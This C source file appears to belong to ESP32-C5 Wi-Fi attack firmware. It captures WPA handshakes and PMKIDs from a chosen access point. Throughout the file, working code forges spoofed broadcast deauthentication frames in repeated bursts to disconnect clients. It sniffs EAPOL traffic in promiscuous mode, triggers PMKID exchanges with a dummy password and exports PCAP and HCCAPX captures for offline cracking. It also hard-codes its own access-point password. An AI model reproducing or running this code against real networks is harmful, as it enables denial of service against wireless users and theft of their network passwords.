/**
 * @file handshake_capture.c
 * @brief Handshake/PMKID capture with dual-radio support
 * 
 * ESP32-C5 Enhancement: Uses both radios for simultaneous
 * sniffing and deauthentication attacks
 */
#include "handshake_capture.h"

#include <string.h>
#include <stdlib.h>
#include "esp_log.h"
#include "esp_wifi.h"
#include "esp_timer.h"
#include "esp_random.h"
#include "freertos/FreeRTOS.h"
#include "freertos/task.h"
#include "freertos/semphr.h"

#include "frame_analyzer.h"
#include "pcap_serializer.h"
#include "hccapx_serializer.h"

static const char *TAG = "handshake_capture";

// Task handles
static TaskHandle_t capture_task_handle = NULL;
static TaskHandle_t deauth_task_handle = NULL;

// State
static capture_config_t current_config = {0};
static capture_status_t capture_status = {0};
static SemaphoreHandle_t capture_mutex = NULL;
static volatile bool capture_running = false;
static esp_timer_handle_t timeout_timer = NULL;

// Deauth frame structure
typedef struct __attribute__((packed)) {
    uint8_t frame_ctrl[2];
    uint8_t duration[2];
    uint8_t da[6];
    uint8_t sa[6];
    uint8_t bssid[6];
    uint8_t seq[2];
    uint8_t reason[2];
} deauth_frame_t;

// Forward declarations
static void capture_task(void *arg);
static void deauth_task(void *arg);
static void timeout_callback(void *arg);
static void promiscuous_rx_callback(void *buf, wifi_promiscuous_pkt_type_t type);

void handshake_capture_init(void) {
    if (capture_mutex == NULL) {
        capture_mutex = xSemaphoreCreateMutex();
    }
    
    // Create timeout timer
    if (timeout_timer == NULL) {
        esp_timer_create_args_t timer_args = {
            .callback = timeout_callback,
            .name = "capture_timeout"
        };
        esp_timer_create(&timer_args, &timeout_timer);
    }
    
    frame_analyzer_init();
    
    ESP_LOGI(TAG, "Handshake capture module initialized");
}

static void send_deauth_burst(const uint8_t *ap_mac, uint8_t count) {
    static const uint8_t broadcast[6] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF};
    static const uint16_t reasons[] = {0x0001, 0x0003, 0x0006, 0x0007, 0x0008};
    
    deauth_frame_t frame = {
        .frame_ctrl = {0xC0, 0x00},  // Deauth
        .duration = {0x00, 0x00},
        .seq = {0x00, 0x00},
    };
    
    memcpy(frame.da, broadcast, 6);
    memcpy(frame.sa, ap_mac, 6);
    memcpy(frame.bssid, ap_mac, 6);
    
    for (int i = 0; i < count; i++) {
        uint16_t reason = reasons[i % 5];
        frame.reason[0] = reason & 0xFF;
        frame.reason[1] = (reason >> 8) & 0xFF;
        
        // Randomize sequence number
        uint16_t seq = esp_random() & 0xFFF0;
        frame.seq[0] = seq & 0xFF;
        frame.seq[1] = (seq >> 8) & 0xFF;
        
        esp_wifi_80211_tx(WIFI_IF_STA, &frame, sizeof(frame), false);
        
        if (capture_mutex && xSemaphoreTake(capture_mutex, 0) == pdTRUE) {
            capture_status.deauth_sent++;
            xSemaphoreGive(capture_mutex);
        }
    }
}

// Deauth task - runs on second "virtual radio" by time-slicing
static void deauth_task(void *arg) {
    ESP_LOGI(TAG, "Deauth task started");
    
    uint8_t interval = current_config.deauth_interval_ms > 0 ? 
                       current_config.deauth_interval_ms : 100;
    uint8_t count = current_config.deauth_count > 0 ? 
                    current_config.deauth_count : 5;
    
    while (capture_running && !capture_status.handshake_captured) {
        // Send deauth burst
        send_deauth_burst(current_config.bssid, count);
        
        // Wait before next burst
        vTaskDelay(pdMS_TO_TICKS(interval));
        
        // Check if we got handshake
        if (frame_analyzer_handshake_complete()) {
            if (capture_mutex && xSemaphoreTake(capture_mutex, portMAX_DELAY)) {
                capture_status.handshake_captured = true;
                capture_status.state = ATTACK_STATE_FINISHED;
                xSemaphoreGive(capture_mutex);
            }
            ESP_LOGI(TAG, "*** HANDSHAKE CAPTURED! Stopping deauth ***");
            break;
        }
    }
    
    deauth_task_handle = NULL;
    vTaskDelete(NULL);
}

// Promiscuous mode callback
static void promiscuous_rx_callback(void *buf, wifi_promiscuous_pkt_type_t type) {
    if (!capture_running) return;
    
    wifi_promiscuous_pkt_t *pkt = (wifi_promiscuous_pkt_t *)buf;
    
    // Update packet count
    if (capture_mutex && xSemaphoreTake(capture_mutex, 0) == pdTRUE) {
        capture_status.packets_captured++;
        xSemaphoreGive(capture_mutex);
    }
    
    // Add to PCAP
    pcap_serializer_append_frame(pkt->payload, pkt->rx_ctrl.sig_len, pkt->rx_ctrl.timestamp);
    
    // Process for EAPOL/handshake
    if (type == WIFI_PKT_DATA) {
        frame_analyzer_process_frame(pkt, type);
        
        // Check handshake state
        if (frame_analyzer_handshake_complete()) {
            if (capture_mutex && xSemaphoreTake(capture_mutex, 0) == pdTRUE) {
                capture_status.handshake_captured = true;
                capture_status.handshake_state = HANDSHAKE_STATE_COMPLETE;
                xSemaphoreGive(capture_mutex);
            }
        }
    }
}

// Main capture task
static void capture_task(void *arg) {
    ESP_LOGI(TAG, "Capture task started for SSID: %s, Channel: %d",
             current_config.ssid, current_config.channel);
    
    // Initialize serializers
    pcap_serializer_init();
    hccapx_serializer_init(current_config.ssid, current_config.ssid_len);
    
    // Start frame analyzer
    frame_analyzer_capture_start(SEARCH_HANDSHAKE, current_config.bssid,
                                 current_config.ssid, current_config.ssid_len);
    
    // Configure WiFi for promiscuous mode
    ESP_ERROR_CHECK(esp_wifi_set_mode(WIFI_MODE_APSTA));
    
    // Set channel
    esp_err_t err = esp_wifi_set_channel(current_config.channel, WIFI_SECOND_CHAN_NONE);
    if (err != ESP_OK) {
        ESP_LOGW(TAG, "Failed to set channel %d: %s", 
                 current_config.channel, esp_err_to_name(err));
    }
    
    // Configure promiscuous filter for data frames (EAPOL)
    wifi_promiscuous_filter_t filter = {
        .filter_mask = WIFI_PROMIS_FILTER_MASK_DATA
    };
    esp_wifi_set_promiscuous_filter(&filter);
    
    // Set callback and enable promiscuous mode
    esp_wifi_set_promiscuous_rx_cb(promiscuous_rx_callback);
    esp_wifi_set_promiscuous(true);
    
    ESP_LOGI(TAG, "Promiscuous mode enabled, capturing...");
    
    // Start deauth task if using active method
    if (current_config.method == CAPTURE_METHOD_DEAUTH_BROADCAST) {
        xTaskCreate(deauth_task, "deauth", 4096, NULL, 5, &deauth_task_handle);
    }
    
    // Start timeout timer
    if (current_config.timeout_sec > 0) {
        esp_timer_start_once(timeout_timer, current_config.timeout_sec * 1000000ULL);
    }
    
    // Track elapsed time
    uint32_t start_time = xTaskGetTickCount();
    
    // Main loop - wait for handshake or timeout
    while (capture_running) {
        vTaskDelay(pdMS_TO_TICKS(100));
        
        // Update elapsed time
        if (capture_mutex && xSemaphoreTake(capture_mutex, 0) == pdTRUE) {
            capture_status.elapsed_sec = (xTaskGetTickCount() - start_time) * portTICK_PERIOD_MS / 1000;
            capture_status.handshake_state = frame_analyzer_get_handshake_state();
            xSemaphoreGive(capture_mutex);
        }
        
        // Check if handshake captured
        if (capture_status.handshake_captured) {
            ESP_LOGI(TAG, "Handshake captured! Building HCCAPX...");
            
            // Build HCCAPX from captured data
            const handshake_data_t *hs = frame_analyzer_get_handshake();
            if (hs) {
                hccapx_serializer_build(hs);
            }
            
            break;
        }
    }
    
    // Stop timeout timer
    esp_timer_stop(timeout_timer);
    
    // Stop promiscuous mode
    esp_wifi_set_promiscuous(false);
    
    // Stop deauth task if running (safe deletion)
    TaskHandle_t deauth_to_delete = deauth_task_handle;
    deauth_task_handle = NULL;
    
    if (deauth_to_delete != NULL) {
        vTaskSuspend(deauth_to_delete);
        vTaskDelay(pdMS_TO_TICKS(10));
        vTaskDelete(deauth_to_delete);
    }
    
    // Stop frame analyzer
    frame_analyzer_capture_stop();
    
    // Restore AP mode
    ESP_LOGI(TAG, "Restoring AP mode...");
    wifi_config_t ap_config = {
        .ap = {
            .ssid = "ESP32-C5-Toolkit",
            .ssid_len = strlen("ESP32-C5-Toolkit"),
            .password = "h4ck3rm4n",
            .channel = 1,
            .max_connection = 4,
            .authmode = WIFI_AUTH_WPA2_PSK,
        },
    };
    esp_wifi_set_mode(WIFI_MODE_APSTA);
    esp_wifi_set_config(WIFI_IF_AP, &ap_config);
    
    if (capture_mutex && xSemaphoreTake(capture_mutex, portMAX_DELAY)) {
        if (capture_status.state == ATTACK_STATE_RUNNING) {
            capture_status.state = capture_status.handshake_captured ? 
                                   ATTACK_STATE_FINISHED : ATTACK_STATE_TIMEOUT;
        }
        xSemaphoreGive(capture_mutex);
    }
    
    capture_running = false;
    capture_task_handle = NULL;
    
    ESP_LOGI(TAG, "Capture task ended. Packets: %lu, Deauth: %lu, Handshake: %s",
             capture_status.packets_captured, capture_status.deauth_sent,
             capture_status.handshake_captured ? "YES" : "NO");
    
    vTaskDelete(NULL);
}

static void timeout_callback(void *arg) {
    ESP_LOGW(TAG, "Capture timeout!");
    
    if (capture_mutex && xSemaphoreTake(capture_mutex, 0) == pdTRUE) {
        capture_status.state = ATTACK_STATE_TIMEOUT;
        xSemaphoreGive(capture_mutex);
    }
    
    capture_running = false;
}

bool handshake_capture_start(const capture_config_t *config) {
    if (!config) return false;
    
    if (capture_mutex == NULL) {
        handshake_capture_init();
    }
    
    if (xSemaphoreTake(capture_mutex, portMAX_DELAY) != pdTRUE) {
        return false;
    }
    
    if (capture_running) {
        ESP_LOGW(TAG, "Capture already running");
        xSemaphoreGive(capture_mutex);
        return false;
    }
    
    // Reset state
    handshake_capture_reset();
    
    // Copy config
    memcpy(&current_config, config, sizeof(capture_config_t));
    
    // Update status
    capture_status.state = ATTACK_STATE_RUNNING;
    memcpy(capture_status.target_bssid, config->bssid, 6);
    strncpy(capture_status.target_ssid, (char*)config->ssid, 32);
    
    capture_running = true;
    
    xSemaphoreGive(capture_mutex);
    
    // Start capture task
    xTaskCreate(capture_task, "capture", 8192, NULL, 5, &capture_task_handle);
    
    ESP_LOGI(TAG, "Handshake capture started for %s", config->ssid);
    return true;
}

bool pmkid_capture_start(const capture_config_t *config) {
    if (!config) return false;
    
    if (capture_mutex == NULL) {
        handshake_capture_init();
    }
    
    if (xSemaphoreTake(capture_mutex, portMAX_DELAY) != pdTRUE) {
        return false;
    }
    
    if (capture_running) {
        ESP_LOGW(TAG, "Capture already running");
        xSemaphoreGive(capture_mutex);
        return false;
    }
    
    // Reset state
    handshake_capture_reset();
    
    // Copy config
    memcpy(&current_config, config, sizeof(capture_config_t));
    
    // Update status
    capture_status.state = ATTACK_STATE_RUNNING;
    memcpy(capture_status.target_bssid, config->bssid, 6);
    strncpy(capture_status.target_ssid, (char*)config->ssid, 32);
    
    capture_running = true;
    
    xSemaphoreGive(capture_mutex);
    
    // Start PMKID-specific capture
    ESP_LOGI(TAG, "PMKID capture started for %s", config->ssid);
    
    // Initialize
    pcap_serializer_init();
    frame_analyzer_capture_start(SEARCH_PMKID, config->bssid, config->ssid, config->ssid_len);
    
    // Set promiscuous mode
    esp_wifi_set_mode(WIFI_MODE_APSTA);
    
    wifi_promiscuous_filter_t filter = {
        .filter_mask = WIFI_PROMIS_FILTER_MASK_DATA
    };
    esp_wifi_set_promiscuous_filter(&filter);
    esp_wifi_set_promiscuous_rx_cb(promiscuous_rx_callback);
    esp_wifi_set_promiscuous(true);
    
    // Set channel
    esp_wifi_set_channel(config->channel, WIFI_SECOND_CHAN_NONE);
    
    // Connect to target AP to trigger PMKID exchange
    wifi_config_t sta_config = {0};
    memcpy(sta_config.sta.ssid, config->ssid, config->ssid_len);
    strcpy((char*)sta_config.sta.password, "dummypassword12345");
    memcpy(sta_config.sta.bssid, config->bssid, 6);
    sta_config.sta.bssid_set = true;
    
    esp_wifi_set_config(WIFI_IF_STA, &sta_config);
    esp_wifi_connect();
    
    // Start timeout
    if (config->timeout_sec > 0) {
        esp_timer_start_once(timeout_timer, config->timeout_sec * 1000000ULL);
    }
    
    return true;
}

bool handshake_capture_stop(void) {
    if (capture_mutex && xSemaphoreTake(capture_mutex, portMAX_DELAY)) {
        capture_running = false;
        
        if (capture_status.state == ATTACK_STATE_RUNNING) {
            capture_status.state = ATTACK_STATE_IDLE;
        }
        
        xSemaphoreGive(capture_mutex);
    }
    
    // Stop timer
    esp_timer_stop(timeout_timer);
    
    // Stop promiscuous mode
    esp_wifi_set_promiscuous(false);
    esp_wifi_disconnect();
    
    // Wait for tasks to end
    vTaskDelay(pdMS_TO_TICKS(500));
    
    // Safely delete capture task
    TaskHandle_t capture_to_delete = capture_task_handle;
    capture_task_handle = NULL;
    
    if (capture_to_delete != NULL) {
        vTaskSuspend(capture_to_delete);
        vTaskDelay(pdMS_TO_TICKS(10));
        vTaskDelete(capture_to_delete);
    }
    
    // Safely delete deauth task
    TaskHandle_t deauth_to_delete = deauth_task_handle;
    deauth_task_handle = NULL;
    
    if (deauth_to_delete != NULL) {
        vTaskSuspend(deauth_to_delete);
        vTaskDelay(pdMS_TO_TICKS(10));
        vTaskDelete(deauth_to_delete);
    }
    
    // Restore AP mode
    wifi_config_t ap_config = {
        .ap = {
            .ssid = "ESP32-C5-Toolkit",
            .ssid_len = strlen("ESP32-C5-Toolkit"),
            .password = "h4ck3rm4n",
            .channel = 1,
            .max_connection = 4,
            .authmode = WIFI_AUTH_WPA2_PSK,
        },
    };
    esp_wifi_set_mode(WIFI_MODE_APSTA);
    esp_wifi_set_config(WIFI_IF_AP, &ap_config);
    
    ESP_LOGI(TAG, "Capture stopped");
    return true;
}

bool handshake_capture_is_running(void) {
    return capture_running;
}

const capture_status_t* handshake_capture_get_status(void) {
    return &capture_status;
}

const handshake_data_t* handshake_capture_get_handshake(void) {
    return frame_analyzer_get_handshake();
}

pmkid_item_t* handshake_capture_get_pmkids(void) {
    return frame_analyzer_get_pmkids();
}

uint8_t* handshake_capture_get_pcap(unsigned *size) {
    if (size) {
        *size = pcap_serializer_get_size();
    }
    return pcap_serializer_get_buffer();
}

uint8_t* handshake_capture_get_hccapx(unsigned *size) {
    if (!hccapx_serializer_is_valid()) {
        // Try building from handshake data
        const handshake_data_t *hs = frame_analyzer_get_handshake();
        if (hs && hs->complete) {
            hccapx_serializer_build(hs);
        }
    }
    
    if (size) {
        *size = hccapx_serializer_is_valid() ? hccapx_serializer_get_size() : 0;
    }
    
    return (uint8_t*)hccapx_serializer_get();
}

void handshake_capture_reset(void) {
    if (capture_mutex && xSemaphoreTake(capture_mutex, portMAX_DELAY)) {
        memset(&capture_status, 0, sizeof(capture_status));
        capture_status.state = ATTACK_STATE_IDLE;
        xSemaphoreGive(capture_mutex);
    }
    
    frame_analyzer_reset();
    pcap_serializer_reset();
    hccapx_serializer_reset();
}

const wifi_ap_record_t* handshake_capture_find_ap(const char *ssid) {
    // This would need access to the wifi_scan results
    // For now, return NULL - the web interface handles AP selection
    return NULL;
}

int handshake_capture_scan_targets(void) {
    // Trigger a WiFi scan
    wifi_scan_config_t scan_config = {
        .ssid = NULL,
        .bssid = NULL,
        .channel = 0,
        .show_hidden = true,
        .scan_type = WIFI_SCAN_TYPE_ACTIVE,
    };
    
    esp_err_t err = esp_wifi_scan_start(&scan_config, true);
    if (err != ESP_OK) {
        ESP_LOGE(TAG, "Scan failed: %s", esp_err_to_name(err));
        return -1;
    }
    
    uint16_t ap_count = 0;
    esp_wifi_scan_get_ap_num(&ap_count);
    
    ESP_LOGI(TAG, "Scan found %u APs", ap_count);
    return ap_count;
}